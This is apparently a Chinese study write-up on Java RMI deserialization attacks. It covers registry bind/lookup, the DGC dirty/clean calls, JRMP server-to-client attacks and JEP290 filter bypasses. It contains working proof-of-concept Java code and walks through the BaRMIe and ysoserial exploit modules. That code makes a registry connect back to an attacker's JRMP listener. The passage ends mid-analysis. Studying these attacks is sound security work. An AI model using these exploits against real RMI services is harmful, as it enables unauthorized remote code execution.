RMI攻击学习

主要根据这篇复习的https://xz.aliyun.com/t/7930,中间加了些自己的思考和补充。

代码地址:https://github.com/lalajun/RMIDeserialize

20200701101308-6810e0aa-bb40-1

  • RMI客户端反序列化攻击RMI服务端

  • RMI服务端反序列化攻击RMI注册端


    IDEA 中起 jdk1.7 的 ServerAndRegister,看一下 sun.rmi.registry.RegistryImpl_Skel#dispatch,直接查不到,需要起一个 debug 模式的 ServerAndRegister
    public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
            //一处接口hash验证
            if (var4 != 4905912898345647071L) {
                throw new SkeletonMismatchException("interface hash mismatch");
            } else {
            //设定变量开始处理请求
                //var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
                RegistryImpl var6 = (RegistryImpl)var1;
                //接受客户端输入流的参数变量
                String var7;
                Remote var8;
                ObjectInput var10;
                ObjectInput var11;
                //var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
                //比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
                //super.ref.newCall(this, operations, 0, 4905912898345647071L);
                switch(var3) {
                //统一删除了try等语句
                case 0:
                        //bind(String,Remote)分支
                        var11 = var2.getInputStream();
                        //1.反序列化触发处
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                        var6.bind(var7, var8);
                case 1:
                        //list()分支
                        var2.releaseInputStream();
                        String[] var97 = var6.list();
                        ObjectOutput var98 = var2.getResultStream(true);
                        var98.writeObject(var97);
    
                case 2:
                      //lookup(String)分支
                        var10 = var2.getInputStream();
                        //2.反序列化触发处
                        var7 = (String)var10.readObject();
                        var8 = var6.lookup(var7);
    
                case 3:
                      //rebind(String,Remote)分支
                        var11 = var2.getInputStream();
                        //3.反序列化触发处
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                        var6.rebind(var7, var8);
    
                case 4:
                        //unbind(String)分支
                        var10 = var2.getInputStream();
                        //4.反序列化触发处
                        var7 = (String)var10.readObject();
                        var6.unbind(var7);
                default:
                    throw new UnmarshalException("invalid method number");
                }
    
            }
        }
    

    从这里看到有 4 个分支可以触发反序列化,分为了两种情况
    • lookup & unbind (String类型)
    • bind & rebind (Remote 和 String)

    有些文章在这里的分析有问题,实际上 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功
    看一下 BaRMie 的对应嗅探模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint
           Registry reg;
            
            //Execute a dummy attack
            try {
                //1.新建一个RMI代理服务器,在这个代理服务器中会对输出的数据包进行重新构造
                proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload);
                proxy.startProxy();
                
                //2.获取这个RMI对象,调用其bind方法
                reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
                
                reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
            } catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) {
                //3.重构客户端输出的数据包,改变其内容为预设好的一个Object
                if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) {
                    //4.服务端肯定会报错(由于我们预设的Object不会被正确解析执行),根据服务端返回报错栈,去匹配是否有filter status: REJECTED字符串来判断,对方的JDK版本我们是否可以攻击。
                    if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) {
                        //Test payload was filtered, likely this attack isn't possible
                        return false;
                    }
                }
            } finally {
                //Stop the proxy
                if(proxy != null) {
                    proxy.stopProxy(true);
                }
            }
            
            //如果没有匹配到就说明可以攻击。
            return true;
        }
    

    攻击模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack
    public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
        RMIBindExploitProxy proxy = null;//代理器
        Registry reg;
        //已删去try部分
        //1.初始化一个bind RMI注册端代理器
        //我们的payload从这里给入
        proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
        proxy.startProxy();
    
        //2.从RMI注册端代理器获取一个注册端对象
        reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
    
        //3.通过RMI注册端代理器调用bind,修改参数为给定的payload
        //reg.bind(随机字符串,一个接口需要的Remote接口)
        //但是经过注册端代理器之后,这里的参数会被改为:bind(PAYLOAD, null),没错payload是String的位置
        reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
    }
    
    private static class BaRMIeBindExploit implements Remote, Serializable {
    }
    

    具体的实现 nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData
    public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
            ByteArrayOutputStream out;
            int blockLen;
            byte[] dataBytes;
            //获取输入的长度
            dataBytes = data.toByteArray();
            //判断这个输入包是不是一个RMI调用包,如果是的话进行修改
            if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
                //调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
                blockLen = (int)(dataBytes[6] & 0xff);
    
                //自己构建一个新的字节流,以原来包的长度和TC_BLOCKDATA标签开头
                out = new ByteArrayOutputStream();
                out.write(dataBytes, 0, blockLen + 7);
    
                //在后面写入我们给定的payload
                out.write(this._payload, 0, this._payload.length);
    
                //最后给一个NULL标签(作为bind方法的第二个参数)
                out.write((byte)0x70);
    
                //把新的数据包发送给服务端
                return out;
            } else {
                //不是RMI调用的数据包就直接发送
                return data;
            }
        }
    

    这里的 payload 是放在了第一个参数中(String),而 ysoserial 的 RMIRegisterExpolit 模块是把 payload 放在了第二个参数中(Remote)。
    翻一下 ysoserial.exploit.RMIRegistryExploit#exploit
    public static void exploit(final Registry registry,
                final Class payloadClass,
                final String command) throws Exception {
            new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
                //获取payload
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                //将payload封装成Map
                //然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
                //变为Remote类型
                Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                try {
                    //封装的remote类型,通过RMI客户端的正常接口发出去
                    registry.bind(name, remote);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }});
        }
    }
    

    使用了动态代理(createMemoitizedProxy),代理之后实现 Remote 接口的绑定代理的对象的任意方法,都会前往sun.reflect.annotation.AnnotationInvocationHandler的invoke方法执行。
    public static  T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception {
        //Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
        //iface是被动态代理的接口
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    
    //这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
    //传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
    public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }
    
    //正式开始绑定代理动态代理
    //ih 拦截器
    //iface 需要被代理的类
    //ifaces 这里没有
    public static  T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) {
        final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        //上面整合了一下需要代理的接口到allIfaces里面
        //然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
        //(Gadgets.class.getClassLoader()就是获取了一个加载器,不用太管)
        //iface.cast是将获取的绑定结果对象转变为iface(即Remote)的对象类型
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }
    

    现在就满足了 registry.bind(name, remote) 中第二个参数为 Remote 的要求了。
    动态代理在反序列化的作用就是执行一个拦截器的 invoke 方法(比如 AnnotationInvocationHandler 的 invoke 调用了 get,正好能补全反序列化的链子)。
    但在这里用动态代理只是为了把 payload 放到 AnnotationInvocationHandler 里面,然后把 AnnotationInvocationHandler 包装成任意类接口。
    这里原文作者尝试不利用动态代理,而是自己实现一个 remote 接口的类再放入 payload,效果是一样的。
    //加个Remote接口的类,要支持序列化
    private static class BindExploit implements Remote, Serializable {
        //弄个地方放payload
        private final Object memberValues;
    
        private BindExploit(Object payload) {
            memberValues = payload;
        }
    }
        public static void exploit(final Registry registry,
                final Class payloadClass,
                final String command) throws Exception {
            new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                //yso动态代理包装
                //Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                //自己包装
                Remote remote_lala = new BindExploit(payload);
    
                try {
                    //registry.bind(name, remote);
                    //自己包装
                     registry.bind(name, remote_lala);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }});
        }
    
  • 修复后的绕过


    在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
    private static Status registryFilter(FilterInfo var0) {
        //这里registryFilter为空跳过该判断
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }
        //不允许输入流的递归层数超过20层,超过就报错
        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            //获取输入流序列化class类型到var2
            Class var2 = var0.serialClass();
            //判断是否为null,null就报错
            if (var2 == null) {
                return Status.UNDECIDED;
            } else {
                //判断是否为数组类型
                if (var2.isArray()) {
                    //数组长度大于10000就报错
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
                        return Status.REJECTED;
                    }
                    //获取到数组中的成分类,假如是还是数组嵌套,继续获取
                    do {
                        var2 = var2.getComponentType();
                    } while(var2.isArray());
                }
                //判断是不是JAVA基元类型,就是 绕过Object类型参数 小章中的那些基本类
                //是基本类就允许
                if (var2.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    //判断我们的输入的序列化类型是否为以下的几类class白名单之中
                    //如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED
                    //不然就返回REJECTED报错。
                    return String.class != var2 && 
                        !Number.class.isAssignableFrom(var2) && 
                        !Remote.class.isAssignableFrom(var2) && 
                        !Proxy.class.isAssignableFrom(var2) && 
                        !UnicastRef.class.isAssignableFrom(var2) && 
                        !RMIClientSocketFactory.class.isAssignableFrom(var2) && 
                        !RMIServerSocketFactory.class.isAssignableFrom(var2) && 
                        !ActivationID.class.isAssignableFrom(var2) && 
                        !UID.class.isAssignableFrom(var2) ? 
                        Status.REJECTED : Status.ALLOWED;
                }
            }
        }
        }
    

    经过递归检测,AnnotationInvocationHandler 被拦下来了。
  • 关于地址校验


    RMI 攻击中的攻击者(服务端)不是受害者(注册端)信任的地址,但却没用被拦截。
    原因是因为 注册端对于服务端的验证在反序列化操作之后
    image-20220206152202431
    image-20220206152220822
    在 8u141之后,验证逻辑变成了先验证再反序列化,服务端调用 bind 打注册端的原打法直接G了,但是 lookup 打注册端不需要验证不受影响(单从代码逻辑上)。
  • RMI DGC层反序列化(其实是 JRMP 层的原理)


    DGC 用于维护服务端被客户端使用的远程引用(垃圾回收机制),来控制这个引用被继续使用还是清除。
    用 yso 的 JRMP 打
    image-20220206154114445
    跟进 sun.rmi.transport.DGCImpl_Skel#dispatch
    public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        //一样是一个dispatch用于分发作用的方法
        //固定接口hash校验
        if (var4 != -669196253586618813L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
            DGCImpl var6 = (DGCImpl)var1;
            ObjID[] var7;
            long var8;
            //判断dirty和clean分支流
            switch(var3) {
                //clean分支流
                case 0:
                    VMID var39;
                    boolean var40;
                    try {
                        //从客户端提供的输入流取值
                        ObjectInput var14 = var2.getInputStream();
                        //对于取值进行反序列化,***漏洞触发点***
                        var7 = (ObjID[])var14.readObject();
                        var8 = var14.readLong();
                        var39 = (VMID)var14.readObject();
                        var40 = var14.readBoolean();
                    } catch (IOException var36) {
                        throw new UnmarshalException("error unmarshalling arguments", var36);
                    } catch (ClassNotFoundException var37) {
                        throw new UnmarshalException("error unmarshalling arguments", var37);
                    } finally {
                        var2.releaseInputStream();
                    }
                  //进行clean操作,已经完成了攻击,之后操作已经不重要了。
                    var6.clean(var7, var8, var39, var40);
    
                    //..省略部分无关操作
                //dirty方法分支流,跟clean在漏洞触发点上是一样没差的
                case 1:
                    Lease var10;
                    try {
                        //从客户端提供的输入流取值
                        ObjectInput var13 = var2.getInputStream();
                        //对于取值进行反序列化,***漏洞触发点***
                        var7 = (ObjID[])var13.readObject();
                        var8 = var13.readLong();
                        var10 = (Lease)var13.readObject();
                    } catch (IOException var32) {
                        throw new UnmarshalException("error unmarshalling arguments", var32);
                    } catch (ClassNotFoundException var33) {
                        throw new UnmarshalException("error unmarshalling arguments", var33);
                    } finally {
                        var2.releaseInputStream();
                    }
    
                    Lease var11 = var6.dirty(var7, var8, var10);
    
                   //..省略无关操作
                default:
                    throw new UnmarshalException("invalid method number");
            }
        }
    

    找到了漏洞触发点,下一步就是找这个触发点时如何被调用的,传入的哪些参数。
    调试中会生成 sun.rmi.transport.DGCImpl_Stub#dirty
    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
            try {
                //开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
                RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
    
                try {
                    //获取连接的输入流
                    ObjectOutput var6 = var5.getOutputStream();
                    //写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]
                    //***这里就是我们payload写入的地方***
                    var6.writeObject(var1);
                    //------
                    var6.writeLong(var2);
                    var6.writeObject(var4);
                } catch (IOException var20) {
                    throw new MarshalException("error marshalling arguments", var20);
                }
    
                super.ref.invoke(var5);
    
                Lease var24;
                try {
                    ObjectInput var9 = var5.getInputStream();
                    var24 = (Lease)var9.readObject();
                //省略大量错误处理..
        }
    

    这就是DGC客户端该放payload的地方了。
    针对这种很底层的 payload,从顶层开始一步一步操作的过程中很可能会发生变化,所以这种情况下的 poc 通常使用自实现一个客户端去拼接反序列化包。
    Ysoserial 的 JRMP-Client 的实现:
    //传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
            InetSocketAddress isa = new InetSocketAddress(hostname, port);
            Socket s = null;
            DataOutputStream dos = null;
            try {
                //建立一个socket通道,并为赋值
                s = SocketFactory.getDefault().createSocket(hostname, port);
                s.setKeepAlive(true);
                s.setTcpNoDelay(true);
               //读取socket通道的数据流
                OutputStream os = s.getOutputStream();
                dos = new DataOutputStream(os);
               //*******开始拼接数据流*********
                //以下均为特定协议格式常量,之后会说到这些数据是怎么来的
                //传输魔术字符:0x4a524d49(代表协议)
                dos.writeInt(TransportConstants.Magic);
                //传输协议版本号:2(就是版本号)
                dos.writeShort(TransportConstants.Version);
                //传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
                dos.writeByte(TransportConstants.SingleOpProtocol);
               //传输指令-RMI call:0x50 
                dos.write(TransportConstants.Call);
    
                @SuppressWarnings ( "resource" )
                final ObjectOutputStream objOut = new MarshalOutputStream(dos);
               //DGC的固定读取格式,等会具体分析
                objOut.writeLong(2); // DGC
                objOut.writeInt(0);
                objOut.writeLong(0);
                objOut.writeShort(0);
               //选取DGC服务端的分支选dirty
                objOut.writeInt(1); // dirty
                //然后一个固定的hash值
                objOut.writeLong(-669196253586618813L);
                //我们的反序列化触发点
                objOut.writeObject(payloadObject);
    
                os.flush();
            }
        }
    

    详见。。。算了不见就不见了吧
    20200622140434-3edd6486-b44e-1
    这个问题同样在 sun.rmi.transport.DGCImpl#checkInput 被过滤了。
  • JRMP 服务端打 JRMP 客户端


    在 DGC 反序列化的中的 dirty 里,通过 super.ref.invoke(var5) 进入到了 sun.rmi.server.UnicastRef#invoke,
    public void invoke(RemoteCall call) throws Exception {
            try {
                //写个日志,不管
                clientRefLog.log(Log.VERBOSE, "execute call");
               //跟进此处
                call.executeCall();
                //...省略一堆报错处理
    

    而在 invoke 中又会进入 sun.rmi.transport.StreamRemoteCall#executeCall
    public void executeCall() throws Exception {
            byte returnType;
    
            // read result header
            DGCAckHandler ackHandler = null;
            try {
                //...这里发包和接受返回状态returnType和返回包数据流in
                returnType = in.readByte();  //1. 反序列化一个returnType
                in.readID();        // 2. 反序列化一个id for DGC acknowledgement
                //具体细节比较复杂不看了
            } catch (UnmarshalException e) {
                //..略..
            }
    
            // 处理returnType返回状态
            switch (returnType) {
            //这是常量1
            case TransportConstants.NormalReturn:
                break;
            //这是常量2
            case TransportConstants.ExceptionalReturn:
                Object ex;
                try {
                    //3. 从服务端返回数据流in中读取,并反序列化
                    //***漏洞触发点***
                    ex = in.readObject();
                    //省略之后代码
    

    这时客户端的反序列化点就找到了,在 yso 中用了 DGC 反序列化生成 poc 的技巧,即模拟一个服务端,把报错信息改成 payload,但还是要找一下原生服务端写序列化的位置。
    要触发反序列化必须满足 returnType 为 TransportConstants.ExceptionalReturn ,可以找到
    sun.rmi.transport.StreamRemoteCall#getResultStream
    public ObjectOutput getResultStream(boolean success) throws IOException {
        if (resultStarted)
            throw new StreamCorruptedException("result already in progress");
        else
            resultStarted = true;
    
        DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
        wr.writeByte(TransportConstants.Return);
        getOutputStream(true);  
        //success为false,进入我们的分支
        if (success)  
            out.writeByte(TransportConstants.NormalReturn);
        else
            //*******这里第一个序列化returnType*******
            out.writeByte(TransportConstants.ExceptionalReturn);
        //第二个序列化一个ID
        out.writeID();          // write id for gcAck
        return out;
    }
    

    然后查找一下调用过 getResultStream 的地方,比如 sun.rmi.server.UnicastServerRef#dispatch
    //这里出来
    ObjectOutput out = call.getResultStream(false);
    if (e instanceof Error) {
        e = new ServerError(
            "Error occurred in server thread", (Error) e);
    } else if (e instanceof RemoteException) {
        e = new ServerException(
            "RemoteException occurred in server thread",
            (Exception) e);
    }
    if (suppressStackTraces) {
        clearStackTraces(e);
    }
    //第三处序列化:序列化写入报错信息,也就是payload插入处
    out.writeObject(e);
    

    但是在 writeObject 中写入的是报错信息(不是我们能完全控制的部分),因此直接从服务端构造是不行的。
    JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制
    因为 JEP290默认在RMI Register 层 和 DGC 层有过滤器,而 JRMP 是他们的底层,没 有 过 滤!
    攻击流程:
    20200622151053-82ab02d2-b457-1
    1. RMI 注册端(JRMP 客户端)主动连接我们的 JRMP 服务端(白名单不作用在序列化过程)
    2. 恶意的 JRMP 客户端在报错信息处写入 payload,序列化后发给 RMI 注册端(JRMP 客户端)
    3. RMI 注册端(JRMP 客户端)底层不存在白名单,可以执行 payload。

    原本是目标直接对 bind 攻击,改为让 RMI 注册段 向我们指定的 JRMP 服务端发起请求,而且完成这一操作使用的对象必须都在白名单中,然后把它封装到 register.bind(String,Remote) 中。
    从 bind 连接开始看
    try {
        var9 = var2.getInputStream();//var2是我们的输入流
        var7 = (String)var9.readObject();//略过
        //payload在这,在readobject中递归调用属性,进入UnicastRef#readExternal
        //在其中完成了ref的填装
        var80 = (Remote)var9.readObject();
    } catch (ClassNotFoundException | IOException var77) {
        throw new UnmarshalException("error unmarshalling arguments", var77);
    } finally {
        //在这里处理ref的时候才真正完成了触发
        var2.releaseInputStream();
    }
    

    一直跟到 stream.saveRef(ref) 中,数据放到 incomingRefTable 中。
    然后执行 var2.releaseInputStream(),在中解析 readObject 中incomingRefTable的数据。
    void registerRefs() throws IOException {
        if (!this.incomingRefTable.isEmpty()) {
            //遍历incomingRefTable
            Iterator var1 = this.incomingRefTable.entrySet().iterator();
            while(var1.hasNext()) {
                Entry var2 = (Entry)var1.next();
                //开始一个个去DGC注册
                DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
            }
        }
    }
    

    进到 sun.rmi.transport.DGCClient#registerRefs 中并执行 sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
    public boolean registerRefs(List refs) {
                assert !Thread.holdsLock(this);
    
                Set refsToDirty = null;     // entries for refs needing dirty
                long sequenceNum;           // sequence number for dirty call
                //阻塞执行,去遍历查询LiveRef实例
                synchronized (this) {
                    //省略此处代码,就是做遍历查询的事情
                }
                //为所有结果参与DGC垃圾回收机制注册
                //------进入此处------
                makeDirtyCall(refsToDirty, sequenceNum);
                return true;
            }
    

    进到 sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall 中,然后进到 dirty 请求中,需要 ctrl+alt+B
    image-20220206225438437
    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
            try {
                RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
    
                try {
                    ObjectOutput var6 = var5.getOutputStream();
                    var6.writeObject(var1);
                    var6.writeLong(var2);
                    var6.writeObject(var4);
                } catch (IOException var20) {
                    throw new MarshalException("error marshalling arguments", var20);
                }
                //JRMP服务端打JRMP客户端的反序列化触发点在这里面
                super.ref.invoke(var5);
    

    回到了本节的第一句话,那么就是说如果用 UnicastRef对象的readExternal方法作为反序列化入口的话,可以控制反序列化内容通过 dirty 向指定服务端发起 JRMP 连接。
    下一步就是构造 payload 的,首先要明确目标:把 UncicastRef 对象封装进入 register.bind(String,Remote) 的 Remote 中,将 UnicastRef 对象反序列化(因为在bind 的 Remote 中有递归反序列化的操作),然后选择的问题就是如何将 UnicastRef 对象封装成 Remote 类型。
    UnicastRef 对象:
    //让受害者主动去连接的攻击者的JRMPlister的host和port
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }
    

    三种思路:
    1. 不封装,参考 BaRMie,直接发送 UnicastRef。
    2. 参考 yso,用动态代理封装(封装拦截器),但 AnnotationInvocationHandler 被ban了。
    3. 找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进register.bind(String,Remote)中。

    • 动态代理的方式

      自定义拦截器 -> UnicasstRef 放入 PocHandler 拦截器 -> 转变为 Remote 类型
      public static class PocHandler implements InvocationHandler, Serializable {
          private RemoteRef ref;//来放我们的UnicastRef对象
      
          protected PocHandler(RemoteRef newref) {//构造方法,来引入UnicastRef
              ref = newref;
          }
      
          @Override
          public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
              return this.ref //只是为了满足拦截类的格式,随便写
          }
      }
      public static void main(String[] args) throws Exception{
              String jrmpListenerHost = "127.0.0.1";
              int jrmpListenerPort = 1199;
              UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
              Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(unicastRef));
              Registry registry = LocateRegistry.getRegistry(1099);//本地测试
              registry.bind("2333", remote);
          }
      

      或者不用自定义,用 RemoteObjectInvocationHandler(yso的实现逻辑)
      public class RemoteObjectInvocationHandler
          extends RemoteObject
          implements InvocationHandler //表示是一个拦截器
      {
      //构造函数,传入一个RemoteRef接口类型的变量
          public RemoteObjectInvocationHandler(RemoteRef ref) {
              super(ref);
              if (ref == null) {
                  throw new NullPointerException();
              }
          }
      //而UnicastRef类型实现RemoteRef接口,即可以传入
      //public class UnicastRef implements RemoteRef {
      
      public abstract class RemoteObject implements Remote, java.io.Serializable {
      
          /** The object's remote reference. */
          transient protected RemoteRef ref;
      
       //super(ref)的内容,可以成功塞入变量中
           protected RemoteObject(RemoteRef newref) {
              ref = newref;
          }
      

      插曲:transient 修饰的变量在正常序列化过程中会为空,但这里却还是能成功,原因是这里的 RemoteObject 类对 writeobject、readobject 进行了重写,就会进入这个方法进行特殊的逻辑执行。
      private void writeObject(java.io.ObjectOutputStream out)
              throws java.io.IOException, java.lang.ClassNotFoundException
          {
              if (ref == null) {
                  throw new java.rmi.MarshalException("Invalid remote object");
              } else {
                  String refClassName = ref.getRefClass(out);
                  if (refClassName == null || refClassName.length() == 0) {
                      //不会进入的地方....
                  } else {
                      /*
                       * Built-in reference class specified, so delegate
                       * to reference to write out its external form.
                       */
                       //我们的序列化操作会进入到这里对于ref进行序列化
                      out.writeUTF(refClassName);
                      ref.writeExternal(out);
                      //在这里通过writeExternal来写入了ref
                      //(transient类型的变量可以通过writeExternal来写入序列化)
                  }
              }
          }
      

      在 RemoteObjectInvocationHandler 填入一个 UnicastRef 对象,然后就是利用动态代理进行类型转变了。
      public class Bypass290 {
          //省略generateUnicastRef方法
          public static void main(String[] args) throws Exception{
              //获取UnicastRef对象
              String jrmpListenerHost = "127.0.0.1";//本地测试
              int jrmpListenerPort = 1199;
              UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
              //通过构造函数封装进入RemoteObjectInvocationHandler
              RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
              //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
              //所以接下来bind可以填入proxy
              Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
                                                                 new Class[]{Registry.class}, obj);
              //触发漏洞
              Registry registry = LocateRegistry.getRegistry(1099);//本地测试
              registry.bind("hello", proxy);//填入payload
          }
      }
      
    • 找一个带 UnicastRef 类型参数的 Remote 接口的类

      RemoteObjectInvocationHandler 就是,继承自 RemoteObject ,而 RemoteObject 又继承自 Remote,所以上面的 poc 把动态代理注释了也能打
      public static void main(String[] args) throws Exception{
          //获取UnicastRef对象
          String jrmpListenerHost = "127.0.0.1";//本地测试
          int jrmpListenerPort = 1199;
          UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
          //通过构造函数封装进入RemoteObjectInvocationHandler
          RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
          //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
          //所以接下来bind可以填入proxy 注释
          //        Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
          //                new Class[]{Registry.class}, obj);
          //触发漏洞
          Registry registry = LocateRegistry.getRegistry(1099);//本地测试
          //        registry.bind("hello", proxy);//填入payload
          registry.bind("hello", obj);//填入payload
      }
      

      同样的道理,那么继承了 RemoteObjectInvocationHandler 类也可以拿来利用。
      RMIConnectionImpl_Stub 可以用
      1. 是 Remote 接口
        //RMIConnectionImpl_Stub类定义,继承自RemoteStub类
        public final class RMIConnectionImpl_Stub
            extends java.rmi.server.RemoteStub
            implements javax.management.remote.rmi.RMIConnection{
        
        //java.rmi.server.RemoteStub 定义,继承自RemoteObject类
        abstract public class RemoteStub extends RemoteObject {
        
        //RemoteObject定义,实现Remote接口
        public abstract class RemoteObject implements Remote, java.io.Serializable {
        
      2. 构造方法可以放 UnicastRef
        //javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法
        public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) {
            super(ref);
            }
        
        //java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法
         protected RemoteStub(RemoteRef ref) {
                super(ref);
            }
        
        //java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法
        protected RemoteObject(RemoteRef newref) {
                ref = newref;
            }
        
    • UnicastRemoteObject 不行
      原因是客户端 bind 中的反序列化流程是
      ObjectOutput var4 = var3.getOutputStream();
      var4.writeObject(var1);
      var4.writeObject(var2);
      

      跟进 java.io.ObjectOutputStream#writeObject0 中,发现触发了 replaceObject 方法
      private void writeObject0(Object obj, boolean unshared)
              throws IOException
          {
              boolean oldMode = bout.setBlockDataMode(false);
              depth++;
              try {
                  //一大堆类型检查,都不会通过
      
                  // 想要去检查替换我们的object
                  Object orig = obj;
                  Class cl = obj.getClass();
                  ObjectStreamClass desc;
                  for (;;) {
                      //查找相关内容
                  }
                  if (enableReplace) {//都是true
                  //!!!!!!!!!!!此处替换了我们的对象!!!!!!!!!!
                      Object rep = replaceObject(obj);
                      if (rep != obj && rep != null) {
                          cl = rep.getClass();
                          desc = ObjectStreamClass.lookup(cl, true);
                      }
                      obj = rep;
                  }
      
                  //一些替换后的处理,不太重要
      
                  // 通过类进行分配序列化过程
                  if (obj instanceof String) {
                      writeString((String) obj, unshared);
                  } else if (cl.isArray()) {
                      writeArray(obj, desc, unshared);
                  } else if (obj instanceof Enum) {
                      writeEnum((Enum) obj, desc, unshared);
                  } else if (obj instanceof Serializable) {
                      //进入此处再开始正常的序列化
                      writeOrdinaryObject(obj, desc, unshared);
                  //...省略...
          }
      

      然后跟进到 sun.rmi.server.MarshalOutputStream#replaceObject 中
      //var1就是我们想要序列化的类
